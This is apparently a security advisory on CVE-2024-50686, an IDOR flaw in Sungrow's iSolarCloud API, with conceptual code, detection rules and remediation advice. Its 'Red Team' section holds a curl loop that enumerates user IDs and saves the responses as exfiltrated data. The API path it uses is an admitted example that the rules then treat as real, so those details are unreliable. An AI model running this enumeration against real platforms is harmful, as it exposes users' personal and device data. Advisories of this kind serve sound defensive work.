CVE-2024-50686

Executive Summary

CVE-2024-50686 exposes an Insecure Direct Object Reference (IDOR) vulnerability in Sungrow’s iSolarCloud platform, specifically within the commonService API model. This flaw allows an unauthenticated attacker to enumerate and access sensitive data objects (e.g., user profiles, device configurations, energy production data) by manipulating direct object references in API requests. The vulnerability was remediated by the vendor on October 31, 2024, but no patch version has been publicly released. With a CVSS base score of 7.5 (High) and a network‑accessible attack vector requiring no privileges, the risk of data exfiltration is significant. No public exploit code or proof‑of‑concept is available at this time.

Supply Chain & Package Security

This vulnerability is not related to any open‑source package (NPM, PyPI, Go, Ruby). It affects a proprietary cloud‑based energy management platform. Organizations using iSolarCloud should treat this as a critical supply chain risk because the platform handles sensitive operational data for solar energy systems.

CVSS Breakdown & Threat Level

Threat Level: High – The vulnerability is remotely exploitable without authentication and can lead to mass data harvesting from the iSolarCloud platform.

Deep Dive & Mechanics

The commonService API model in iSolarCloud is designed to serve common data requests across the platform. The IDOR vulnerability arises because the API does not properly validate whether the requesting user is authorized to access the resource identified by a direct object reference (e.g., a numeric user ID, device serial number, or report ID). An attacker can enumerate these identifiers (often sequential or predictable) and craft HTTP requests to retrieve data belonging to other users or devices.

Attack Flow:

1. Reconnaissance: The attacker identifies the commonService endpoint (e.g., /api/commonService/getData).
2. Parameter Discovery: Through error messages or documentation leaks, the attacker learns the required parameters (e.g., userId, deviceId, reportId).
3. Enumeration: The attacker iterates through sequential IDs (e.g., userId=1001, userId=1002, …) and observes responses.
4. Data Exfiltration: Successful requests return sensitive data such as:
   • User personal information (name, email, phone)
   • Solar panel configuration and performance metrics
   • Historical energy production data
   • System credentials or tokens (if improperly stored)

The vulnerability is classified as CWE-639 (Authorization Bypass Through User-Controlled Key). No authentication token or session validation is performed on the object reference.

Vulnerable vs. Patched Code

No official code diff is available because the patch is proprietary. The following is a conceptual representation based on typical IDOR remediation.

Vulnerable (Pre‑Patch):

# iSolarCloud commonService API (simplified)
@app.route('/api/commonService/getData', methods=['GET'])
def get_data():
    user_id = request.args.get('userId')
    # No authorization check – directly fetches data
    data = database.query("SELECT * FROM user_data WHERE user_id = ?", user_id)
    return jsonify(data)

Patched (Post‑Patch):

# iSolarCloud commonService API (simplified)
@app.route('/api/commonService/getData', methods=['GET'])
def get_data():
    user_id = request.args.get('userId')
    # Authorization check: ensure the authenticated user owns the resource
    current_user = get_current_user()  # from session/token
    if current_user.id != user_id and not current_user.is_admin:
        return jsonify({"error": "Unauthorized"}), 403
    data = database.query("SELECT * FROM user_data WHERE user_id = ?", user_id)
    return jsonify(data)

The patch introduces an authorization layer that verifies the requesting user’s identity against the resource owner. Without the patch, any user (including unauthenticated ones) can access any resource by simply changing the ID parameter.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target iSolarCloud instance (version prior to October 31, 2024).
• Network access to the API endpoint (typically over HTTPS).
• No authentication credentials required.

Step‑by‑Step Exploitation:

1. Identify the API endpoint:

   curl -k -X GET "https://target-isolarcloud.com/api/commonService/getData?userId=1"
   

2. Enumerate user IDs:

   for id in $(seq 1 1000); do
       response=$(curl -s -o /dev/null -w "%{http_code}" "https://target-isolarcloud.com/api/commonService/getData?userId=$id")
       if [ "$response" == "200" ]; then
           echo "User $id exists"
           curl -s "https://target-isolarcloud.com/api/commonService/getData?userId=$id" >> exfiltrated_data.json
       fi
   done
   

3. Extract device data (if device IDs are also vulnerable):

   curl -k -X GET "https://target-isolarcloud.com/api/commonService/getData?deviceId=5001"
   

Expected Output: JSON payloads containing user profiles, device configurations, and operational data.

Blue Team (Defensive)

Detection & Response:

• Monitor for sequential or rapid‑fire requests to /api/commonService/getData with varying userId or deviceId parameters.
• Alert on HTTP 200 responses to unauthenticated requests to that endpoint.
• Implement rate limiting and anomaly detection on API calls.

Honeypot Strategy:

• Deploy a decoy iSolarCloud instance with fake data. Monitor for any access to the commonService endpoint without a valid session token.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_50686_IDOR_Detection {
    meta:
        description = "Detects IDOR exploitation attempts against Sungrow iSolarCloud commonService API"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-50686"
    strings:
        $api_path = "/api/commonService/getData"
        $param_user = "userId="
        $param_device = "deviceId="
        $param_report = "reportId="
    condition:
        any of ($api_path) and any of ($param_user, $param_device, $param_report)
}

Sigma Rule

title: Sungrow iSolarCloud IDOR Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects sequential enumeration attempts against the commonService API
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/api/commonService/getData"
        cs-uri-query|re: "userId=\\d+"
    condition: selection
    timeframe: 5m
    aggregation:
        type: count
        field: c-ip
        condition: gt 50
falsepositives:
    - Legitimate API usage by authorized clients
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-50686 - Sungrow iSolarCloud IDOR Enumeration Attempt";
    flow:to_server;
    content:"/api/commonService/getData"; http_uri;
    content:"userId="; http_uri;
    pcre:"/userId=\d+/";
    threshold: type both, track by_src, count 30, seconds 300;
    sid:10000001;
    rev:1;
    reference:cve,2024-50686;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Apply Vendor Patch: Ensure the iSolarCloud instance has been updated to the version released on or after October 31, 2024. Contact Sungrow support for patch details.
2. API Hardening: If patching is not immediately possible, implement a Web Application Firewall (WAF) rule to block requests to /api/commonService/getData that do not include a valid session token.
3. Access Control Review: Audit all API endpoints for proper authorization checks. Use indirect object references (e.g., UUIDs) instead of sequential IDs.

Long‑Term Measures:

• Enforce authentication on all API endpoints.
• Implement rate limiting and anomaly detection.
• Conduct regular penetration testing focusing on IDOR vulnerabilities.
• Monitor logs for unusual API access patterns.

Workaround:

• Disable the commonService API endpoint if not essential, or restrict it to internal networks only.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert